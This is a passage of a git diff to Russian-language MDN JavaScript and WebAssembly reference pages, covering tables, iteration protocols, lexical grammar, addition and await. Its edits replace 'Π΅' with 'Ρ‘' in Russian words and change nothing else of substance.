Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, послС создания wasm-модуля, Ρ‚Π°Π±Π»ΠΈΡ†Π° ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΡƒΠΆΠ΅ Π΄Π»ΠΈΠ½Ρƒ, Π½ΠΎ элСмСнты Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стали <a href="/ru-RU/docs/WebAssembly/Exported_functions">функциями экспортированными ΠΈΠ· WebAssembly</a>Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ ΠΈΠ· JS.</p>
<pre class="brush: js">WebAssembly.instantiateStreaming(fetch('table2.wasm'), importObject)
.then(function(obj) {
@@ -68,9 +68,9 @@ console.log(tbl.get(1)); // "null"</pre>
Β  console.log(tbl.get(1)());
});</pre>
-<p>Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅ Ρ‡Ρ‚ΠΎ понадобилось Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ Π²Ρ‹Π·ΠΎΠ²Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Π½ΡƒΡŽ ΠΈΠ· Ρ‚Π°Π»ΠΈΡ†Ρ‹ (Ρ‚.Π΅.Β <code>get(0)()</code> вмСсто <code>get(0)</code>) .</p>
+<p>Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅ Ρ‡Ρ‚ΠΎ понадобилось Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π²Ρ‚ΠΎΡ€ΠΎΠΉ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ Π²Ρ‹Π·ΠΎΠ²Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½Π½ΡƒΡŽ ΠΈΠ· Ρ‚Π°Π»ΠΈΡ†Ρ‹ (Ρ‚.Π΅.Β <code>get(0)()</code> вмСсто <code>get(0)</code>) .</p>
-<p>Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ создаСм ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°Π΅ΠΌ с Ρ‚Π°Π±Π»ΠΈΡ†Π΅ΠΉ ΠΈΠ· JavaScript, Π½ΠΎ экзСмпляр Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π²ΠΈΠ΄Π΅Π½ ΠΈ доступСн Π²Π½ΡƒΡ‚Ρ€ΠΈ модуля wasm.</p>
+<p>Π­Ρ‚ΠΎΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ‡Ρ‚ΠΎ ΠΌΡ‹ создаём ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°Π΅ΠΌ с Ρ‚Π°Π±Π»ΠΈΡ†Π΅ΠΉ ΠΈΠ· JavaScript, Π½ΠΎ экзСмпляр Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π²ΠΈΠ΄Π΅Π½ ΠΈ доступСн Π²Π½ΡƒΡ‚Ρ€ΠΈ модуля wasm.</p>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/javascript/reference/iteration_protocols/index.html b/files/ru/web/javascript/reference/iteration_protocols/index.html
index cc9b66658a..4c42e875f7 100644
--- a/files/ru/web/javascript/reference/iteration_protocols/index.html
+++ b/files/ru/web/javascript/reference/iteration_protocols/index.html
@@ -9,7 +9,7 @@ translation_of: Web/JavaScript/Reference/Iteration_protocols
<div>{{jsSidebar("More")}}</div>
</div>
-<p>Одно ΠΈΠ· Π½ΠΎΠ²ΠΎΠ²Π²Π΅Π΄Π΅Π½ΠΈΠΉ стандарта ECMAScript 2015Β - ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Ρ‹ ΠΏΠ΅Ρ€Π΅Π±ΠΎΡ€Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Ρ‹ Π»ΡŽΠ±Ρ‹ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ, соблюдая ΠΏΡ€ΠΈ этом ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ ΠΏΡ€Π°Π²ΠΈΠ»Π°.</p>
+<p>Одно ΠΈΠ· Π½ΠΎΠ²ΠΎΠ²Π²Π΅Π΄Π΅Π½ΠΈΠΉ стандарта ECMAScript 2015Β - ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Ρ‹ ΠΏΠ΅Ρ€Π΅Π±ΠΎΡ€Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Ρ‹ Π»ΡŽΠ±Ρ‹ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ, соблюдая ΠΏΡ€ΠΈ этом ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ ΠΏΡ€Π°Π²ΠΈΠ»Π°.</p>
<h2 id="ΠŸΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Ρ‹_ΠΏΠ΅Ρ€Π΅Π±ΠΎΡ€Π°">ΠŸΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Ρ‹ ΠΏΠ΅Ρ€Π΅Π±ΠΎΡ€Π°</h2>
@@ -42,7 +42,7 @@ translation_of: Web/JavaScript/Reference/Iteration_protocols
<p>ΠŸΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» "<strong>Π˜Ρ‚Π΅Ρ€Π°Ρ‚ΠΎΡ€</strong>" опрСдСляСт стандартный способ получСния ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉΒ  (ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΉ ΠΈΠ»ΠΈ бСсконСчной).</p>
-<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ являСтся ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠΌ, Ссли Π² Π½Π΅ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ ΠΌΠ΅Ρ‚ΠΎΠ΄ <strong>next()</strong> , Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‰ΠΈΠΉ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ Π»ΠΎΠ³ΠΈΠΊΡƒ:</p>
+<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ являСтся ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠΌ, Ссли Π² Π½Π΅ΠΌ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ ΠΌΠ΅Ρ‚ΠΎΠ΄ <strong>next()</strong> , Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‰ΠΈΠΉ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ Π»ΠΎΠ³ΠΈΠΊΡƒ:</p>
<table class="standard-table">
<tbody>
@@ -129,7 +129,7 @@ someString + "" // "hi"
<p>{{jsxref("String")}}, {{jsxref("Array")}}, {{jsxref("TypedArray")}}, {{jsxref("Map")}} ΠΈΒ {{jsxref("Set")}} ΠΈΡ‚Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΡ‹, Ρ‚Π°ΠΊΒ ΠΊΠ°ΠΊ ΠΈΡ… прототипы содСрТат <code>@@</code><code>iterator</code>Β ΠΌΠ΅Ρ‚ΠΎΠ΄, Π° {{jsxref("Object")}} Π½Π΅Ρ‚, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΒ {{jsxref("Object")}} Π½Π΅ содСрТит ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β <code>@@</code><code>iterator</code></p>
-<h2 id="Π˜Ρ‚Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΠΎΡΡ‚ΡŒ_опрСдСлСнная_ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ">Π˜Ρ‚Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΠΎΡΡ‚ΡŒ опрСдСлСнная ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ</h2>
+<h2 id="Π˜Ρ‚Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΠΎΡΡ‚ΡŒ_опрСдСлённая_ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ">Π˜Ρ‚Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΠΎΡΡ‚ΡŒ опрСдСлённая ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ</h2>
<p>ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΈΡ‚Π΅Ρ€ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ сами:</p>
diff --git a/files/ru/web/javascript/reference/lexical_grammar/index.html b/files/ru/web/javascript/reference/lexical_grammar/index.html
index 24705ce8ec..9c74d62e61 100644
--- a/files/ru/web/javascript/reference/lexical_grammar/index.html
+++ b/files/ru/web/javascript/reference/lexical_grammar/index.html
@@ -50,7 +50,7 @@ ECMAScript Ρ‚Π°ΠΊΠΆΠ΅ опрСдСляСт ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова ΠΈ Π»ΠΈΡ‚
<h2 id="ΠŸΡ€ΠΎΠ±Π΅Π»Ρ‹">ΠŸΡ€ΠΎΠ±Π΅Π»Ρ‹</h2>
-<p>ΠŸΡ€ΠΎΠ±Π΅Π»ΡŒΠ½Ρ‹Π΅ символы ΡƒΠ»ΡƒΡ‡ΡˆΠ°ΡŽΡ‚ Ρ‡ΠΈΡ‚Π°Π±Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ исходного тСкста ΠΈ раздСляСт Ρ‚ΠΎΠΊΠ΅Π½Ρ‹ Π΄Ρ€ΡƒΠ³ ΠΎΡ‚ Π΄Ρ€ΡƒΠ³Π°. ΠŸΡ€ΠΎΠ±Π΅Π»ΡŒΠ½Ρ‹Π΅ символы ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ для функционирования ΠΊΠΎΠ΄Π°. <a href="http://en.wikipedia.org/wiki/Minification_%28programming%29">Π£Ρ‚ΠΈΠ»ΠΈΡ‚Ρ‹ для ΡƒΠΌΠ΅Π½ΡŒΡˆΠ΅Π½ΠΈΡ объСма ΠΊΠΎΠ΄Π°</a> часто ΡƒΠ΄Π°Π»ΡΡŽΡ‚ ΠΏΡ€ΠΎΠ±Π΅Π»ΡŒΠ½Ρ‹Π΅ символы, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒ объСм ΠΊΠΎΠ΄Π°.</p>
+<p>ΠŸΡ€ΠΎΠ±Π΅Π»ΡŒΠ½Ρ‹Π΅ символы ΡƒΠ»ΡƒΡ‡ΡˆΠ°ΡŽΡ‚ Ρ‡ΠΈΡ‚Π°Π±Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ исходного тСкста ΠΈ раздСляСт Ρ‚ΠΎΠΊΠ΅Π½Ρ‹ Π΄Ρ€ΡƒΠ³ ΠΎΡ‚ Π΄Ρ€ΡƒΠ³Π°. ΠŸΡ€ΠΎΠ±Π΅Π»ΡŒΠ½Ρ‹Π΅ символы ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ для функционирования ΠΊΠΎΠ΄Π°. <a href="http://en.wikipedia.org/wiki/Minification_%28programming%29">Π£Ρ‚ΠΈΠ»ΠΈΡ‚Ρ‹ для ΡƒΠΌΠ΅Π½ΡŒΡˆΠ΅Π½ΠΈΡ ΠΎΠ±ΡŠΡ‘ΠΌΠ° ΠΊΠΎΠ΄Π°</a> часто ΡƒΠ΄Π°Π»ΡΡŽΡ‚ ΠΏΡ€ΠΎΠ±Π΅Π»ΡŒΠ½Ρ‹Π΅ символы, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒ объСм ΠΊΠΎΠ΄Π°.</p>
<table class="standard-table">
<caption>Π’Π°Π±Π»ΠΈΡ†Π° ΠΏΡ€ΠΎΠ±Π΅Π»ΡŒΠ½Ρ‹Ρ… символов</caption>
@@ -212,7 +212,7 @@ comment();</pre>
<p>Π’Ρ€Π΅Ρ‚ΠΈΠΉ спСциализированный синтаксис ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠ΅Π², <strong>шСбанг ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΉ</strong>, Π² процСссС стандартизации Π² ECMAScript (ΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒΒ <a href="https://github.com/tc39/proposal-hashbang">Hashbang Grammar proposal</a>).</p>
-<p>Π¨Π΅Π±Π°Π½Π³ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΉ Π²Π΅Π΄Π΅Ρ‚ сСбя Ρ‚ΠΎΡ‡Π½ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΊΠ°ΠΊ ΠΈ однострочный (<code>//</code>) ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΉ. ВмСсто этого, ΠΎΠ½ начинаСтся с <code>#!</code> ΠΈ <strong>дСйствитСлСн Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² самом Π½Π°Ρ‡Π°Π»Π΅ скрипта ΠΈΠ»ΠΈ модуля</strong>. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π½ΠΈΠΊΠ°ΠΊΠΈΠ΅ ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹ Π½Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Β <code>#!</code>. ΠšΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΉ состоит ΠΈΠ· всСх символов послС <code>#!</code> Π΄ΠΎ ΠΊΠΎΠ½Ρ†Π° ΠΏΠ΅Ρ€Π²ΠΎΠΉ строки; Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΉ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½.</p>
+<p>Π¨Π΅Π±Π°Π½Π³ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΉ Π²Π΅Π΄Ρ‘Ρ‚ сСбя Ρ‚ΠΎΡ‡Π½ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΊΠ°ΠΊ ΠΈ однострочный (<code>//</code>) ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΉ. ВмСсто этого, ΠΎΠ½ начинаСтся с <code>#!</code> ΠΈ <strong>дСйствитСлСн Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² самом Π½Π°Ρ‡Π°Π»Π΅ скрипта ΠΈΠ»ΠΈ модуля</strong>. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π½ΠΈΠΊΠ°ΠΊΠΈΠ΅ ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹ Π½Π΅ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Β <code>#!</code>. ΠšΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΉ состоит ΠΈΠ· всСх символов послС <code>#!</code> Π΄ΠΎ ΠΊΠΎΠ½Ρ†Π° ΠΏΠ΅Ρ€Π²ΠΎΠΉ строки; Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΉ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½.</p>
<p>Π¨Π΅Π±Π°Π½Π³ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΉ опрСдСляСт ΠΏΡƒΡ‚ΡŒ ΠΊΒ Β JavaScript ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚Π°Ρ‚ΠΎΡ€Ρƒ, скрипт ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π’Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ. ΠŸΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠ°ΠΊ это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚:</p>
@@ -366,7 +366,7 @@ false</pre>
0777 // распознаСтся, ΠΊΠ°ΠΊ Π²ΠΎΡΡŒΠΌΠ΅Ρ€ΠΈΡ‡Π½ΠΎΠ΅ число, 511 - ΠΊΠ°ΠΊ дСсятичноС число
</pre>
-<p>Π˜ΠΌΠ΅ΠΉΡ‚Π΅ Π² Π²ΠΈΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ Π»ΠΈΡ‚Π΅Ρ€Π°Π»Ρ‹ дСсятичных чисСл ΠΌΠΎΠ³ΡƒΡ‚ Π½Π°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒΡΡ с нуля (0), Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ слСдуСт Π΄Ρ€ΡƒΠ³ΠΎΠ΅ дСсятичноС число, Π½ΠΎ Π² случаС, Ссли число начинаСтся с нуля ΠΈ Π·Π° Π½ΠΈΠΌ ΠΈΠ΄Π΅Ρ‚ Ρ†ΠΈΡ„Ρ€Π° мСньшС 8, Ρ‚ΠΎ число Π±ΡƒΠ΄Π΅Ρ‚ распознано ΠΊΠ°ΠΊ Π²ΠΎΡΡŒΠΌΠ΅Ρ€ΠΈΡ‡Π½ΠΎΠ΅. This won't throw in JavaScript, see {{bug(957513)}}. See also the page about <code>{{jsxref('Global_Objects/parseInt','parseInt()','Octal_interpretations_with_no_radix')}}</code>.</p>
+<p>Π˜ΠΌΠ΅ΠΉΡ‚Π΅ Π² Π²ΠΈΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ Π»ΠΈΡ‚Π΅Ρ€Π°Π»Ρ‹ дСсятичных чисСл ΠΌΠΎΠ³ΡƒΡ‚ Π½Π°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒΡΡ с нуля (0), Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ слСдуСт Π΄Ρ€ΡƒΠ³ΠΎΠ΅ дСсятичноС число, Π½ΠΎ Π² случаС, Ссли число начинаСтся с нуля ΠΈ Π·Π° Π½ΠΈΠΌ ΠΈΠ΄Ρ‘Ρ‚ Ρ†ΠΈΡ„Ρ€Π° мСньшС 8, Ρ‚ΠΎ число Π±ΡƒΠ΄Π΅Ρ‚ распознано ΠΊΠ°ΠΊ Π²ΠΎΡΡŒΠΌΠ΅Ρ€ΠΈΡ‡Π½ΠΎΠ΅. This won't throw in JavaScript, see {{bug(957513)}}. See also the page about <code>{{jsxref('Global_Objects/parseInt','parseInt()','Octal_interpretations_with_no_radix')}}</code>.</p>
<h4 id="Binary_Π΄Π²ΠΎΠΈΡ‡Π½Ρ‹Π΅_числа">Binary (Π΄Π²ΠΎΠΈΡ‡Π½Ρ‹Π΅ числа)</h4>
@@ -403,7 +403,7 @@ var m = 0o644; // 420
<pre class="brush: js notranslate">var o = { a: "foo", b: "bar", c: 42 };
-// сокращСнная нотация. Появилась Π² ES2015
+// сокращённая нотация. Появилась Π² ES2015
var a = "foo", b = "bar", c = 42;
var o = {a, b, c};
// вмСсто
@@ -481,7 +481,7 @@ tag `string text ${expression} string text`</pre>
<li><code>return</code></li>
</ul>
-<p>БпСцификация ECMAScript Π½Π°ΠΏΠΎΠΌΠΈΠ½Π°Π΅Ρ‚ ΠΎ <a href="http://people.mozilla.org/~jorendorff/es6-draft.html#sec-rules-of-automatic-semicolon-insertion">Ρ‚Ρ€Π΅Ρ… ΠΏΡ€Π°Π²ΠΈΠ»Π°Ρ… вставки Ρ‚ΠΎΡ‡ΠΊΠΈ с запятой</a>.</p>
+<p>БпСцификация ECMAScript Π½Π°ΠΏΠΎΠΌΠΈΠ½Π°Π΅Ρ‚ ΠΎ <a href="http://people.mozilla.org/~jorendorff/es6-draft.html#sec-rules-of-automatic-semicolon-insertion">Ρ‚Ρ€Ρ‘Ρ… ΠΏΡ€Π°Π²ΠΈΠ»Π°Ρ… вставки Ρ‚ΠΎΡ‡ΠΊΠΈ с запятой</a>.</p>
<p>1. Π’ΠΎΡ‡ΠΊΠ° с запятой ставится Π΄ΠΎ, ΠΊΠΎΠ³Π΄Π° ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΡ‚Π΅Π»ΡŒ строки ΠΈΠ»ΠΈ "}" is encountered that is not allowed by the grammar.</p>
diff --git a/files/ru/web/javascript/reference/operators/addition/index.html b/files/ru/web/javascript/reference/operators/addition/index.html
index 94efb4b63e..c55fa767fe 100644
--- a/files/ru/web/javascript/reference/operators/addition/index.html
+++ b/files/ru/web/javascript/reference/operators/addition/index.html
@@ -8,7 +8,7 @@ translation_of: Web/JavaScript/Reference/Operators/Addition
---
<div>{{jsSidebar("Operators")}}</div>
-<p>ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ слоТСния (+) создаСт сумму числовых ΠΎΠΏΠ΅Ρ€Π°Π½Π΄ΠΎΠ² ΠΈΠ»ΠΈ ΠΊΠΎΠ½ΠΊΠ°Ρ‚Π΅Π½Π°Ρ†ΠΈΡŽ строк.</p>
+<p>ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ слоТСния (+) создаёт сумму числовых ΠΎΠΏΠ΅Ρ€Π°Π½Π΄ΠΎΠ² ΠΈΠ»ΠΈ ΠΊΠΎΠ½ΠΊΠ°Ρ‚Π΅Π½Π°Ρ†ΠΈΡŽ строк.</p>
<div>{{EmbedInteractiveExample("pages/js/expressions-addition.html")}}</div>
diff --git a/files/ru/web/javascript/reference/operators/await/index.html b/files/ru/web/javascript/reference/operators/await/index.html
index ecce9884c5..6159cd8b19 100644
--- a/files/ru/web/javascript/reference/operators/await/index.html
+++ b/files/ru/web/javascript/reference/operators/await/index.html
@@ -22,7 +22,7 @@ translation_of: Web/JavaScript/Reference/Operators/await
<h2 id="ОписаниС">ОписаниС</h2>
-<p>ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ <code>await</code> заставляСт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½Π½ΡƒΡŽ с использованиСм ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° <code>async</code>, ΠΆΠ΄Π°Ρ‚ΡŒ выполнСния <code>Promise</code>Β ΠΈ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Ρ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ послС возвращСния <code>Promise</code> значСния. ВпослСдствии Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΠΎΠ΅ ΠΈΠ· Β <code>Promise</code>Β Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. Если Ρ‚ΠΈΠΏΠΎΠΌ значСния, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ Π±Ρ‹Π» ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ <code>await</code>, являСтся Π½Π΅ <code>Promise</code>, Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ приводится ΠΊ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π½ΠΎΠΌΡƒ <code>Promise</code>.</p>
+<p>ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ <code>await</code> заставляСт Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½Π½ΡƒΡŽ с использованиСм ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° <code>async</code>, ΠΆΠ΄Π°Ρ‚ΡŒ выполнСния <code>Promise</code>Β ΠΈ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Ρ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ послС возвращСния <code>Promise</code> значСния. ВпослСдствии Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΠΎΠ΅ ΠΈΠ· Β <code>Promise</code>Β Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. Если Ρ‚ΠΈΠΏΠΎΠΌ значСния, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ Π±Ρ‹Π» ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ <code>await</code>, являСтся Π½Π΅ <code>Promise</code>, Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ приводится ΠΊ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Π½ΠΎΠΌΡƒ <code>Promise</code>.</p>
<p>Если <code>Promise</code> отклоняСтся, Ρ‚ΠΎ <code>await</code>Β Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ с ΠΎΡ‚ΠΊΠ»ΠΎΠ½Ρ‘Π½Π½Ρ‹ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ.</p>
@@ -54,7 +54,7 @@ f1();
f2();
</pre>
-<p>Если <code>Promise</code> ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½, то выбрасываСтся ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ с ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½Ρ‹ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ.</p>
